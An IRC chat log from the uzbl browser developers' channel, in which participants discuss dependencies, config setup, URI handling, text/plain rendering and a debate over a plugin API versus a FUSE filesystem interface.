05:44 < dxdx> temoto: http://github.com/Dieterbe/uzbl-website/tree/master
05:45 < dxdx> temoto: actually there is mod_rewrite and "community.php" doesn't exist, it just maps to one of the modules in the cms
05:45 < Rodya> lazzareth_, I just tested it on every key my US keyboard can input and it appeared to work (without even bothering with '>'s
05:46 < sonkei> hmm anyone know why when i launch uzbl through dmenu it wont reconize the XDG_DATA_HOME or CONFIG_HOME?
05:47 < lazzareth_> sonkei, Theres an answer in the faq somewhere regarding XDG problems. The easiest being replacing XDG_DATA_HOME with $HOME
05:47 < temoto> dxdx: that's very strange to expose non-existing .php then :) why not simply /community?
05:47 < sonkei> ahh though i looked through there thanks.. i'll check again
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05:48 < dxdx> temoto: not breaking old links, probably
05:49 < jrick> why not link to /community, and then have /community.php redirect?
05:49 < dxdx> temoto: it is not static, btw, there's "recent commit" which parses a feed
05:49 < temoto> dxdx: ah, right. Those could be handled by rewrite with 301.
05:49 < lazzareth_> sonkei, Line 99 in the FAQ
05:49 < temoto> dxdx: i mentioned commit and SSI.
05:49 < dxdx> oh, git updates, sorry, didn't read that
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05:51 < dxdx> the ".php" part is matter of taste. only purists care, end users don't... there are always better things to waste the time
05:52 < dxdx> speaking of taste, SSI is uglier than php
05:52 < temoto> You're absolutely right.
05:52 < temoto> except for last line :)
05:52 < dxdx> heh
05:52 < temoto> anyway, i couldn't find anything about community in uzbl-website
05:53 < temoto> only links to in index.php
05:53 < dxdx> function exec_Community (&$app, $params) {
05:53 < dxdx> in index.php
05:53 < dxdx> which does markdown_file('../uzbl/docs/COMMUNITY');
05:54 < temoto> Right.
05:54 < temoto> And that file is in what repo?
05:54 < dxdx> the main uzbl one, it seems
05:55 < dxdx> http://github.com/Dieterbe/uzbl/tree/master/docs
05:55 < temoto> That's a pretty great way to build websites BTW, i mean bunch of markdowns and simle renderer. I was thinking to make a nice control panel on top of that.
05:56 < dxdx> yup, markdown is beautiful
05:57 < temoto> I mean no database is really required :) somewhy all CMS stick to it.
05:58 < dxdx> that phatso "micro-framework" is pretty cool too
05:58 < dxdx> Copyright (C) 2008, Judd Vinet <jvinet@zeroflux.org>
05:58 < dxdx> !!!!!
05:58 < uzblbot> dxdx: Error: "!!!!" is not a valid command.
05:58 < dxdx> !shut up
05:58 < uzblbot> dxdx: Error: "shut" is not a valid command.
06:02 < temoto> uh.. is it possible to feed uzbl with HTML instead of URL?
06:04 < dxdx> uzbcat
06:04 < dxdx> *uzblcat
06:05 < dxdx> which is not intuitive at all, so have a wiki page http://www.uzbl.org/wiki/html-mode
06:05 < temoto> I guess i don't have it.
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06:06 < sonkei> thanks btw that worked
06:11 < temoto> dxdx: i tried markdown2 COMMUNITY | ../examples/data/uzbl/scripts/uzblcat | uzbl , the first two parts generate uh.. not quite proper HTML (at least no doctype), uzbl commands, but it doesn't show a thing.
06:12 < temoto> dxdx: anyway, i have patch ready, send it to Dieterbe or what?
06:16 < dxdx> temoto: pipe it to a fifo instead
06:16 < dxdx> or to a uzbl instance that reads from stdin (uzbl -c -)
06:17 < dxdx> markdown is not supposed to generate complete html with doctype and everything, it is better to have it return something that you can include inside your template
06:18 < temoto> -c worked, great!
06:19 < dxdx> temoto: and yeah, send patches to Dieterbe
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06:30 < temoto> I forked project on github. Hope made everything right.
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07:10 < lazzareth_> Rodya, Anyway I've committed a fix if you would like it?
07:11 < Rodya> lazzareth_, please
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07:12 < lazzareth_> Rodya, Checking out my latest experimental is one way to grab it git://github.com/mason-larobina/uzbl.git
07:12 < Rodya> thanks =)
07:12 < lazzareth_> But I can link you to the patch or latest revision of the file if you like
07:13 < lazzareth_> Rodya, No problem, that was quite a serious issue.
07:13 < Rodya> git is fine with me
07:19 < jayzer> where did the name "uzbl" come from? and is it pronounced 'ooze-bull'?
07:20 < dxdx> "usable"
07:20 < dxdx> as said by a lolcat
07:20 < Rodya> oh lolcats
07:23 < jayzer> ah, that makes a lot more sense
07:24 < jayzer> is Trac (or equivalent) ever going to be se tup?
07:24 < jayzer> set up*
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07:25 < dxdx> jayzer: http://www.uzbl.org/bugs flyspray
07:26 < jayzer> aha
07:26 < jayzer> never seen flyspray before
07:30 < ruskie> good morrow all
07:30 < lazzareth_> Dieterbe, Who administers our bug-tracker?
07:30 < lazzareth_> #61 can be closed off.
07:30 < lazzareth_> The patch has been merged into master.
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07:32 < jvogel> hi - does anyone have binaries for x64 debian?
07:32 < lazzareth_> jvogel, Compile it.
07:32 < dxdx> lazzareth_: there's "request closure"
07:32 < lazzareth_> dxdx, Ah, nice.
07:32 < jvogel> lazzareth_: I was having issues with the dependencies
07:32 < jvogel> Im a newb
07:33 < lazzareth_> jvogel, Well you are still going to have them with a binary. I suggest fixing the dependencies.
07:33 < dxdx> jvogel: try grabbing a webkit .deb from debian unstable
07:33 < dxdx> (debian stable sucks, and, well, debian sucks too)
07:33 < jvogel> :|
07:33 < jvogel> im running testing, but yea i grab the unstable webkit
07:34 < dxdx> you need at least 1.1.4, 1.0 won't work
07:34 < jvogel> yeah
07:34 < dxdx> and libsoup 2.27.2 is recommended (unstable version too)
07:34 < lazzareth_> jvogel, Its not english but you can check your deps against this list (afaik) http://www.thehappy.de/~xeno/?p=uzbl%20auf%20Debian%20Lenny
07:34 < jvogel> yea i got confused with that shit
07:35 < jvogel> im gonna try to get the unstable webkit that should grab the dependencies
07:41 < jvogel> i grabbed 1.1.10-2
07:44 < jvogel> does it normally open with a blank white screen?
07:45 < lazzareth_> jvogel, Have you copied over the config?
07:45 < jvogel> nah
07:45 < jvogel> wanted to start it first
07:45 < lazzareth_> Its in /usr/share/uzbl/examples/config/
07:46 < lazzareth_> Sorry: /usr/share/uzbl/examples/config/uzbl
07:47 < lazzareth_> > mkdir ~/.config/uzbl
07:47 < lazzareth_> > cp /usr/share/uzbl/examples/config/uzbl/config ~/.config/uzbl/config
07:48 < jvogel> wow thanks man
07:48 < jvogel> that shit compiled in like 2 seconds
07:48 < jvogel> i thought it was broken
07:48 < jvogel> http://github.com/bartman/dot-uzbl/blob/c6cb992a9823a813acf2eaa05bd54386dd750762/configs/uzbl.config
07:49 < jvogel> What do you tihnk of that config?
07:50 < lazzareth_> Lines 138, 139, 140 are exactly the same...
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08:12 < jvogel> lazzareth_: Thanks for your help, have everything running well now
08:13 < lazzareth_> jvogel, That still leaves the problem of copying over the example scripts folder to get everything working like bookmark management and cookie management
08:13 < lazzareth_> When you run uzbl with --verbose you should see the errors.
08:13 < jvogel> What do you mean?
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09:34 < Dieterbe> 02:18:05 < Rodya> http://imgur.com/HBBq8.jpg =/
09:34 < Dieterbe> 02:18:40 < Rodya> i'd like to help, but it seems to work for me
09:34 < Dieterbe> 02:19:20 < scj> I think I have found a solution
09:34 < Dieterbe> 02:19:25 < scj> stop watching anime shit on yt
09:34 < Dieterbe> lol ^^
09:34 < Dieterbe> good morning all btw
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09:55 < Rodya> morning Dieterbe
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10:24 < bob_f> Good mourning.
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10:31 < holizz> Good moaning.
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10:33 < lazzareth_> Morning
10:33 < lazzareth_> Rodya, Still in the channel?
10:34 < lazzareth_> You know you can change the background of uzbl_tabbed.py tablist tabs right?
10:34 < lazzareth_> Its was just in the example config I chucked in that extra backgroud = "#454545" or something.
10:34 < lazzareth_> (I was just looking at your screenshot)
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10:41 < Rodya> lazzareth_, yeah, i've been playing with my config off and on since i woke up... the colors of the tabs has been at the end of my list =)
10:41 < lazzareth_> :)
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12:27 < holizz> I don't think you can use uzbl with xdg-open due to it requiring the -u option.
12:33 < holizz> Did anybody patch that? The bug DB says no.
12:37 < N30N> besides the -u it also need to add file://
12:38 < N30N> eg. BROWSER=("uzbl" "-u"); $BROWSER /tmp/foo.html
12:43 < holizz> N30N, Should we test if the file exists first? Like if you run "uzbl google.com", and you have a file called google.com in the cwd...? Or maybe we should only accept file paths and full URIs on the commandline?
12:43 < N30N> hmmm
12:44 < N30N> I'd be happy with either
12:45 < N30N> I this the second option is prob the way to go
12:46 < N30N> I think Dieterbe likes having http:// added automatically, so make that a feature of the url cmd maybe?
12:47 < N30N> s/I this/I think/
12:48 < Dieterbe> i like having http:// added automatically *if* we're talking about web pages
12:49 < holizz> Okay, so I patched uzbl to work like this: if there's a -u <uri>, use that. If there isn't a -u but there is at least one additional argument, use the first argument. Is this acceptable behaviour?
12:50 < Dieterbe> yes
12:50 < holizz> i.e. "uzbl -u google.com holizz.com" takes you to google.com, as does "uzbl -u google.com", and "uzbl google.com"
12:51 < Dieterbe> yep
12:52 < holizz> Pushed.
12:54 < holizz> So about files... if you open uzbl, and there happens to be a file called "google.com" in the cwd and you run "o google.com". That shouldn't take us to the file, should it. But it should take you to the file when using the command line, I think.
12:54 < holizz> *when passing the file name as a URI on invocation.
12:57 < Dieterbe> holizz: i agree, but if you do uzbl -u google.com it should take you to the website, and if you do uzbl google.com it should open the local file, imho
12:57 < Dieterbe> but this may be an unneccesary complication
12:57 < Zaba> Dieterbe, that's confusing
12:57 < Zaba> default to http://, let user do file:// explicitly if they need it, or the other way around
12:58 < holizz> That would be confusing, having two different behaviours.
12:58 < Dieterbe> lunch break
12:58 < Zaba> two different behaviours?
12:58 < Zaba> personally I'd say, remove -u at all
12:59 < holizz> Zaba, Yeah, I'd be in favour of that.
12:59 < Zaba> we don't do vi -f <file> to open a file, why should we do uzbl -u <url> to open an url?
13:00 < Zaba> anyway, I think that if there is an ambiguity (namely: uzbl google.com and a file named so present) default to http.  If user gives file://google.com we know for sure they want that instead.
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13:04 < holizz> Maybe a -f option to have uzbl automatically prepend the file:// part of the URI.
13:07 < holizz> But file://google.com is malformed. When I use uzbl on local files I use "uzbl -u file://`pwd`/file.txt".
13:07 < holizz> Anyway, shower brb.
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13:29 < lazzareth_> Does markdown have a filetype?
13:30 < lazzareth_> It would be great if we could somehow write a script to format plain-text markdown when opening files ending in .markdown or something.
13:30 < holizz> Hmm...
13:30 < holizz> It's something you could do in my clone ;). But I don't think it's a particularly good idea.
13:31 < holizz> And no, markdown is just text/plain.
13:31 < bct> lazzareth_, not an offical one.
13:32 < scj> relying on file suffixes is fail anyway
13:32 < bct> i think some people use text/x-markdown though
13:32 < lazzareth_> holizz, I know its just text/plain but strictly by extension alone (I.e. even if we make one up *.markdown) then all our markdown help docs will be formatted when opened in uzbl
13:32 < bct> filename suffix -> filetype is such a hack
13:33 < lazzareth_> Because as readable as markdown is in plain-text it would be interesting for something to support its auto-formatting.
13:34 < lazzareth_> External commands can grab the contents of the document when the document is plain-text can they not?
13:34 < scj> no, since webkit refuses to render text/plain
13:35 < lazzareth_> Well that sucks.
13:35 < bct> some way to apply an external filter script to documents of a certain mimetype could do it, and potentially be useful elsewhere
13:35 < lazzareth_> bct, Thats what I was thinking even if I have to type a command like ":markdown<CR>"
13:36 < lazzareth_> scj, Its not possible at all to get the plain-text from a plain/text web-page ?
13:36 < bct> scj, text/plain is displaying fine for me?
13:37 < lazzareth_> bct, I meant grabbing the plain-text from external scripts
13:37 < scj> bct: orly? doesn't work for me
13:37 < scj> but that is good news, I guess
13:39 < bct> http://google.com/robots.txt doesn't display for you?
13:40 < lazzareth_> Renders for me.
13:40 < bct> lazzareth_, might be possible with the new javascript stuff.
13:40 < bct> (grabbing the text of the current page)
13:40 < lazzareth_> bct, Yeah, I'm trying to get it working with uzblctrl
13:41 < lazzareth_> And then it will be possible to automate the process using load_finished_handler (or what ever it was called)
13:41 < scj> bct: it renders. and I am surprised, because I used be annoyed over having to open files in ff
13:43 < lazzareth_> And I can easily return the rendered page by doing http://www.uzbl.org/wiki/html-mode
13:43 < scj> but it's not actually a plain text file, it has html tags
13:43  * lazzareth_ is really excited about this
13:43 < lazzareth_> No it doesnt
13:43 < lazzareth_> scj, ~ $ curl http://google.com/robots.txt
13:44 < bct> that's just the inspector being weird.
13:44 < scj> in ff too
13:44 < bct> use curl or ngrep, it's just plain text.
13:45 < bct> when you're looking at the source in wk and ff they're showing you what they're rendering
13:45 < bct> not what they received.
13:47 < scj> ohwell. it didn't use to work, now it does
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13:51 < scj> uzbl -u file://$(pwd)/README doesn't work, though. it gets sent to the download handler
13:52 < bct> it probably thinks it's application/octet-stream
13:52 < bct> i wish C had anonymous functions :(
13:54 < lazzareth_> I've been trying to get a dump of the document via uzblctrl -s /tmp/mysocket -c 'print @<document.all[0].innerHTML>@' but this isnt working for me
13:54 < lazzareth_> for anything
13:54 < lazzareth_> I've been trying the google homepage and some plain-text documents.
13:54 < lazzareth_> I really should read up on the document object.
13:54 < scj> lazzareth_: uzblctrl reads until \n
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13:54 < lazzareth_> Ridiculous!
13:55 < lazzareth_> I'm going to finish my uzblctrl.py then
13:55 < scj> you have to do something like uzblctrl -s $socket -c 'js document.all[0].innerHTML.toString().replace(/\n/," ")'
13:55 < bct> that will totally screw up markdown
13:56 < scj> you can use uzblctrl.py from the wiki
13:56 < scj> s/py/pl/
13:56 < lazzareth_> I was working on my uzblctrl.py when I thought of this
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13:57 < bct> that's weird, why does uzblctrl.c do that?
13:57 < scj> vOv
13:57 < bct> the if (tmp == '\n') break; seems entirely superfluous
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14:21 < bct> huh. i just ran into a text/plain page that downloaded instead of displaying.
14:22 < bct> weird.
14:25 < holizz> I find text/plain sometimes renders and sometimes downloads.
14:26 < ruskie> nothing downloads for me yet... no dl-handler ;)
14:27 < N30N> can you provide a text/plain uri that d/ls?
14:29 < scj> it is some header hijinxin
14:29 < bct> http://mitch.gimp.org/gmarkup-vtable.patch
14:29 < bct> "Content-Type: text/plain; charset=iso-8859-1"
14:29 < bct> the charset maybe?
14:30 < holizz> That seems to be the only difference between that and Google's cookies.txt.
14:35 < N30N> it's doing it based on the file extention
14:35 < holizz> Testing with my own script, there's no difference between "text/plain", "text/plain; charset=iso-8859-1", and "text/plain; charset=utf8".
14:36 < bct> on the file extension? that's awful
14:37 < N30N> indeed
14:37 < holizz> IT IS!
14:37 < holizz> Wow.
14:38 < scj> :/
14:39 < bct> maybe due to content sniffing? which most web browsers do since a lot of dumbasses serve videos as text/plain
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14:49 < holizz> http://trac.webkit.org/changeset/45558
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14:50 < Dieterbe> holizz: you follow our ML, right?
14:50 < holizz> Dieterbe, Yeah.
14:51 < Dieterbe> k. i think the "fuse fs" one is a pretty important thread, which i would like to get input on from various people, including you :)
14:52 < ruskie> nice uzbl-dev is now archived on gmane as well
14:52 < ruskie> with archives imported
14:53 < holizz> Dieterbe, I'll take a closer look at it.
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14:54  * ruskie can now enjoy reading it
14:54 < Dieterbe> ruskie: oh, it imports all content from the very beginning as well?
14:54 < ruskie> by request
14:54 < ruskie> so yeah all the stuff is there
14:55 < ruskie> available through web and nntp
14:55 < ruskie> I've decided to cut down on ML receiving and only use nntp to read them when I like to
14:55 < ruskie> mmm I like the idea of exporting the fs through the network...
14:56 < ruskie> means I could have a usable terminal only setup on the server and load links on the desktop
14:57 < Dieterbe> heh
14:59 < ruskie> and as far as I know a fifo doesn't work accros NFS
14:59 < N30N> @import does not work with stylesheets used in stylesheet_uri :(
15:01 < rob|> heya everyone
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15:02 < N30N> lo rob|
15:02 < rob|> Dieterbe: i think with should first focus on wether we want a plugin-api, that way the fs/fifo/socket stuff could be plugins with the given benefit of choice
15:04 < rob|> i imagine the api exporting just a couple of function that are used to set/get uzbls vars and setting the funcs that the vars call to something custom
15:04 < Dieterbe> not sure, i think the plugin api may be a needless overcomplication.  if the fuse thing turns out to be really nice (eg it does everything the fifo/socket can, but much more), then we don't need to bother about a plugin api
15:04 < rob|> we could even export the statusbarwiget as a container so any fancy stuff could be possible
15:05 < rob|> well, the fs approach still involves extending uzbl "externally"
15:07 < Dieterbe> not sure what you mean by the "export the statusbarwiget as a container", neither with your last line
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15:08 < rob|> the statusbar could be a gtk container widget (e.g. hbox, vbox) and statusbar plugins create whatever widgets they need with the exported container widget being the root/parent
15:09 < rob|> also plugins allow to extend uzbl in a "in-process" manner, i.e. no further processes needed everything runs in the uzbl proc itself
15:10 < Dieterbe> hm you're talking about .so files?
15:10 < rob|> yeah, could also be static libs, though
15:10 < Dieterbe> seems a bit too C-oriented
15:11 < Dieterbe> i would rather have an interface that many languages can use.  the FS seems to be such an interface (and so is fifo/socket)
15:11 < rob|> why? the fifo/socket interface and the fs one would just be plugins
15:11 < Dieterbe> i think flexibility is more important then performance
15:11 < rob|> erm, almost any language can hook into C libs.
15:11 < rob|> or rather can be made to have bindings to a C lib
15:12 < Dieterbe> hmm ok
15:12 < rob|> so we could write perl/python/whatever plugins that allow to customize uzbl in that particular language
15:12 < Dieterbe> i'm just now sure how necessary this all is.  i wonder if we can avoid the plugins/bindings/.. at all, by just using the FS interface
15:12 < scj> any particular reason jrm suggested FUSE over 9p?
15:13 < bct> i suspect he thought it would be more familiar.
15:14 < Dieterbe> i wonder: will the FS interface (or any interface, for that matter) provide all means one could need to cover all use cases? in that case, we wouldn't need a plugin system
15:14 < bct> do we know all use cases?
15:14 < bct> :P
15:14 < rob|> well, plugins are nice since the user can freely chose which dependencies he wants
15:15 < rob|> with just a fs interface fuse/9p is a hard dependency
15:15 < bct> (i think that's half the problem, we haven't collected a solid set of use cases so we're not sure what we need)
15:15 < Dieterbe> good point. both of you :)
15:16 < Dieterbe> rob|: how much overhead (in terms of sloc) do you think the plugin system would create? roughly?
15:17 < rob|> hmm, i think it would rather get rid of a lot of code as we could move that into plugins
15:17 < rob|> so core uzbl itself would be more slim and robust
15:18 < rob|> and we could blame plugin authors for most thing going wrong ;)
15:18 < rob|> *things
15:18 < Dieterbe> haha
15:18 < Dieterbe> too bad plugin authors is more or less us ;)
15:19 < rob|> well, we should certainly provide a set of default plugins, though i bet over time more people will kick in and write all sorts og uzbl plugins
15:20 < lazzareth_> Do you use git rebase in other branches when you want to bring your current branch upto the current head?
15:20 < lazzareth_> Hey Dieterbe
15:21 < rob|> imo we need 3 default plugins: 1) our current fifo/socket thing 2) the same as fs approach 3) our current statusbar as plugin
15:21 < scj> 4) js config language :v
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15:22 < Dieterbe> rob|: i still don't really get the statusbar thing. can you explain it more elaborately? and will this work with "using dzen as statusbar" and such?
15:25 < rob|> well, in my example above the statusbar can be made to hold any gtk widgets with any layout/content
15:27 < rob|> Dieterbe: no sure what exactly you don't understand, though
15:28 < Dieterbe> well i guet the get/set-variables part, and calling some functions, setting callback functions etc. that's just all hooking into C functions
15:28 < Dieterbe> but the statusbar seems a different beast. how can the users make custom gtk widgets for example and have them shown ?
15:28 < holizz> So you could have a plugin which uses a WebView for the status bar... and then you could fill it with animated GIFs.
15:28 < Dieterbe> ooh, by writing it all in C?
15:29 < Dieterbe> i'm thinking too much of sh/bash scripts i guess
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15:58 < aCiD2> Daaaamn, uzbl rocks, nice work! :D
15:59 < negher> 'nuff said ;).
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16:02 < aCiD2> :) I was up til 4am tweaking it, it works really nicely in a minimal desktop environment
16:02 < aCiD2> getting used to not having a scrollbar is kinda weird though, that's the only thing I've missed heh
16:03 < scj> no scrollbar?
16:03 < holizz> Yeah, I tried adding one using the stylesheet_uri, but I couldn't make it happen.
16:03 < Dieterbe> ugh
16:03 < scj> oh. I guess there isn't one, I just never noticed :v
16:04 < Dieterbe> who needs scrollbars
16:04 < aCiD2> Dieterbe: I never thought I did, but it turns out when browsing the web I like to sit back and just use the mouse not the keyboard
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16:05 < aCiD2> the opposite of when I'm programming, where I despise the mouse :)
16:05 < bct> i've been thinking of adding a variable for percentage scrolled so that it can be displayed in the status bar
16:05 < Dieterbe> ok so when you use the mouse, you use the scrollwheel right? aCiD2 
16:05 < holizz> I like scrollbars because it shows me how much left of the boring thing I'm reading there is.
16:05 < bct> it is nice to know how much space is left.
16:05 < Dieterbe> bct: yep that's what needs to be done
16:05 < aCiD2> Dieterbe: I do, but for big pages getting back to the top is effort (unless I use a key on the keyboard, which means moving to the keyboard and back)
16:05 < Dieterbe> bct: you should look at the todo file more often ;)
16:06 < aCiD2> like I said, it's no huge deal, but that's the only thing I noticably miss from my browser
16:06 < holizz> We could do a Top/x%/Bot thing like vim.
16:06 < bct> i guess the tricky part is updating the status bar when you use PgDn and other things that WK handles directly
16:06 < lazzareth_> holizz, Awesome idea.
16:06 < Dieterbe> aCiD2: ideally, you would assign something like "press leftbutton + scroll up" to scroll to top of page
16:06 < DuClare> What I do is have my left hand on the keyboard always, even when I "sit back"
16:06 < DuClare> And I have bindings on the left keywell
16:07 < holizz> bct, There's probably a callback.
16:07 < DuClare> So I can navigate w/mouse but scroll and jump to top/bot usign the keyboard effortlessly
16:07 < bct> holizz: yeah, but finding it in webkit's abysmal documentation...
16:07 < aCiD2> Dieterbe: that's pretty cool..
16:07 < Dieterbe> aCiD2: but that's not possible yet
16:07 < aCiD2> oh :)
16:08 < bct> or source-diving through glib spaghetti
16:08 < holizz> bct: webkitgtk.org is good. Also, the Python documentation is good.
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16:08 < holizz> wvdoc: aliased to python -c 'import webkit,gtk;gtk.gdk.threads_init();help(webkit.WebView)'
16:09 < holizz> pydoc doesn't work as it requires that threads have been initialised... which is odd.
16:09 < bct> ah, didn't know about wkgtk.org, that'll be helpful
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16:50 < scj> has anyone fixed gmail navigation yet?
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16:56 < bct> yes, mutt fixed it years ago.
16:56 < bct> ;)
16:58 < bob_f> Teehee.
17:01 < Dieterbe> actually, gmail *introduced* it a few years ago :)
17:02 < scj> I don't really use email enough to bother learning mutt. I've done some half assed attempts in the past but it never stuck
17:03 < Dieterbe> claws-mail ftw
17:03 < bct> there's not a lot to learn. grab somebody's muttrc and hit ? when you can't remember the key for something
17:03 < bct> i'm curious what muas people here use though
17:05 < Dieterbe> muas?
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17:06 < bct> MUA
17:06 < bct> mail user agent
17:06 < bct> as opposed to MDA or MTA
17:07 < Dieterbe> oh
17:07 < Dieterbe> i use claws-mail
17:07 < Dieterbe> i like the ability to read html mails (yes yes..)
17:09 < bct> lynx -dump :P
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17:11  * vyazovoi uses wanderlust
17:24 < aCiD2> I use gnus
17:24 < aCiD2> Used to use mutt
17:25 < aCiD2> Well actually now I just use the gmail web interface
17:26 < bct> gmail's threading is awful, as is the way that it displays quotes
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17:26 < aCiD2> yup
17:26 < aCiD2> can't argue with that :P
17:26 < aCiD2> the threading works well for 1:1 communication, but not mls
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17:29 < Dieterbe> really? i never really thought about it
17:29 < mason-l> I've decided to change my nickname in this channel to something that closely relates to my github username.
17:29 < mason-l> Hope you all recognise me.
17:29 < aCiD2> now that sounds sensible, why on earth would you do that
17:30 < mason-l> ;)
17:30 < Dieterbe> mason-l: you were lazzareth right?
17:30 < mason-l> Yeah.
17:30 < ruskie> whoa... my mem went bye bye while using a few uzbl instances
17:30 < ruskie> though I wonder if that was uzbl_tabbed or uzbl itself
17:30 < Dieterbe> mason-l: good. now i wont' mistakenly try to fetch from my lazarreth remote again (which doesn't exist)
17:31 < ruskie> lol
17:31 < mason-l> Dieterbe, :D
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17:34 < N30N> bct: i've been thinking of adding a variable for percentage scrolled <-- This can be done easily with JS
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17:38 < Dieterbe> bct: so how should threading be done? what's wrong with gmails way?
17:38 < bct> and then put in MSG ? maybe that's better than adding stuff to the main program...
17:39 < bob_f> scj: There ain't a whole lot to learn.
17:39 < bct> Dieterbe, gmail doesn't have threading. it just has "these messages were all about the same subject"
17:39 < bob_f> Oh, bct beat me to it.
17:39 < bct> and then displays them chronologically.
17:39 < bob_f> I've used mutt for a few years now knowing next to nothing about it. :)
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17:40 < bct> it's kind of sad that after 30 years we're using interfaces that are worse than what usenet provided :(
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17:40 < bob_f> It's hardly surprising - Britney or Bach ? :)
17:41 < bct> so yeah, you don't get any real sense of what message a particular email is responding to
17:41 < bct> so people start including the entire conversation at the bottom of every email
17:42 < bob_f> Did that ruby mail client live up to its hype ?
17:42 < bob_f> "sup", I think.
17:42 < Dieterbe> oh did uranther write that one? ^^
17:42 < uranther> sup?
17:43 < Dieterbe> exactly
17:43 < bob_f> http://sup.rubyforge.org/
17:43 < uranther> oh i did that unintentionally.. didn't see "sup"
17:43 < uranther> haha
17:43 < Dieterbe> you are too predictable :P
17:43 < bob_f> Last release last month, I guess they're still doing it.
17:43 < bob_f> Oh. Hah.
17:43 < bct> oh yeah, i vaguely recall seeing sup. never tried it.
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17:43  * uranther reading this mind-blowing shit on the mailing list
17:44 < dreadlorde> guess what
17:44 < bob_f> The website is pretty -2.0. Doesn't seem very Rubyish.
17:44 < dreadlorde> uzbl compiles with llvm+clag
17:44 < bob_f> dreadlorde: Spain became a communist dictatorship.
17:44 < bob_f> Oh.
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17:44 < dreadlorde> :D
17:45 < dreadlorde> bob_f: did spain become a communist dictatorship?
17:45 < bct> ruby != rails, bob_f.
17:45 < uranther> i think i'm still high from last night
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17:46 < uranther> is clang + llvm sweet? didn't know about it
17:46 < bct> dreadlorde, what does that mean?
17:47 < dxdx> i have an idea: have a XMLRPC/HTTP server as a socket replacement, maybe with SOAP too, because libsoup is probably going to support that so it will be as simple to implement as FUSE
17:47 < bob_f> dreadlorde: Naw, I was just guessing.
17:47 < bob_f> bct: True, but Ruby community does = "oooooh, shiny !"
17:47 < scj> dxdx: :v
17:47 < bct> that's a foul slander.
17:47 < bob_f> I'm speaking in general terms.
17:48 < bct> what do you mean by that?
17:48 < ruskie> ugh
17:48 < ruskie> rails > /dev/null
17:50 < dxdx> yeah, maybe add a ruby on rails web interface since most uzbl users have arch linux and vim, and the vim package pulls ruby as depends, which sucks but allows us to implement a shiny IPC interface
17:51 < holizz> I volunteer to start reimplementing uzbl in Ruby!
17:51 < bct> don't be silly, you'd want to use sinatra or camping instead.
17:51 < holizz> Hey, we could have a Web server in the browser, like Opera Unite.
17:51 < bct> (there's a ruby proxy called mousehole that runs camping apps, it's pretty cool)
17:53 < holizz> What we need is a script that starts a server, with a little Web app to allow you to edit your .config/uzbl/config with AJAX and dropshadows.
17:53 < bct> i think that's doable right now.
17:53 < bct> y'know, if you really wanted. to.
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17:55 < dxdx> we could implement animations in the config editor by streaming ogg and rendering it with the html5 video tag!
17:55 < bct> something like that could be useful for a kiosks
17:55 < scj> also; we should add a shockwave tetris game
17:58 < bct> uzbl would be great for a locked-down kiosk, actually.
17:59 < bct> with an external script that displayed a few buttons, it could be a good browser for people who suck at computers too.
18:02 < uranther> you all creating a beast among web browsers :o
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18:11 < scj> you mean the best web browser
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18:12 < uranther> indeed
18:12 < dxdx> now seriously: don't you think FUSE is useless bloat?
18:13 < uranther> it's not useless
18:13 < uranther> so no :P
18:13 < dxdx> XMLRPC isn't useless either
18:13 < scj> i like the idea, although I am not entirely sure how it's supposed to work
18:13 < bct> XMLRPC would be a downgrade in every way.
18:13 < bct> FUSE would be an advantage in some ways.
18:14 < bct> scj, what aren't you clear on?
18:15 < dxdx> what worries me is that this guy's motivation is to have a plan9 clone, and the plan9 ways of doing things don't really fit in unix
18:16 < dsg_> What data specifically would the browser export/import through a FUSE interface?
18:16 < rob|__> what? writing and reading files doesn't fit in unix?
18:16  * dsg_ doesn't really see the use..
18:17 < dxdx> rob|__: having userspace programs exporting whole trees of virtual files doesn't
18:17 < scj> bct: mostly because I haven't really a good grasp on how fuse actually works
18:17 < bct> dsg_, basically everything. each variable could be a file, that you'd read from or set by writing to it.
18:18 < scj> either way, this is the uzbl user experience we should strive for http://img188.imageshack.us/img188/1951/fuuuck.gif
18:18 < rob|__> dxdx: i can't see why?
18:18 < dxdx> rob|__: "nobody else does it"
18:19 < dxdx> yeah, my point is pretty weak
18:19 < rob|__> bah, that's not an argument
18:19 < bct> scj, basically FUSE lets you register callbacks for file and directory operations.
18:20 < bct> you've got total control over what happens when somebody lists a directory, makes a subdirectory, writes a file, reads a file, etc.
18:20 < dxdx> maybe i'm saying all this shit just because jrm8005 is continuously saying that sockets suck (and i'm working on a branch that expands the socket protocol a lot)
18:22 < rob|__> dxdx: i also like the socket approach, that's why i'm trying to advertise a plugin-api, that way we can make everybody happy
18:22 < scj> so each instance would spawn their own fs?
18:22 < dxdx> (unrelated, but it also annoys me that he assumes that there is "no protocol" now and that implementing a protocol will result in a lot of deadlocks)
18:22 < uranther> lol scj
18:23 < rob|__> even with the FS we will need a protocol, although a minimal one
18:23 < dxdx> yup, that's the main flaw in his statement
18:23 < bct> scj, i think the idea is that there will be one central uzbl thing that talks to all the other instances.
18:24 < bct> not totally sure about that though.
18:24 < scj> I don't really like the idea of having a main uzbl that can crash and take everything with it
18:24 < dxdx> reading a file in FUSE would have the same risk of getting deadlocks as receiving a command in a socket
18:24 < rob|__> bct: no, rather one main control file that all uzbl's will listen on
18:25 < rob|__> and that's where we need a protocol
18:25 < bct> rob|__: won't a plugin system balkanize external scripts?
18:25 < dxdx> bct: don't worry, it would be a C plugin system, not python nor lua
18:25 < rob|__> i don't think so, it's just another way of doing things
18:25 < bct> if yours ares written against the config file interface and mine are written against the FS interface, and somebody else's are written against the js interface...
18:26 < dxdx> hmm.. a good point
18:26 < rob|__> well, it will be implemented as (probably/most certainly) shared libs so any language could make use of it and provide its own uzbl bindings
18:27 < scj> then we'll just invent a protocol for invoking scripts via the different plugins :v
18:28 < rob|__> or just use one of the language bindings..
18:29 < bct> everybody in this channel should write a different configuration interface, we'll meet back here in a week and vote on which one is best
18:29 < bct> :D
18:30 < uranther> :O
18:30 < uranther> dibs on brainfuck
18:30 < scj> mine will make you go "fuuuuck!"
18:30 < uranther> lol
18:30 < dxdx> scj's idea sounds awesome
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18:30 < dxdx> i'd use it
18:33 < dxdx> hmm, idea (serious one), make fuse an optional dependency. scripts should use fifo/socket whenever possible, but a few could require FUSE
18:34 < dxdx> because making every IPC method a plugin may become an ugly restriction for scripts
18:35 < bct> that sounds like useless bloat.
18:35 < bct> optional dependencies are not a great idea for this i think.
18:35 < rob|__> right, uzbl should provide fifo/socket+fs as separate but standard plugins
18:36 < dxdx> standard plugins sounds better
18:43 < scj> as soon as there are c bindings for the dom, the fs interface should expose the entire dom :v
18:44 < uranther> X-TREME
18:46 < bct> that would be kind of cool.
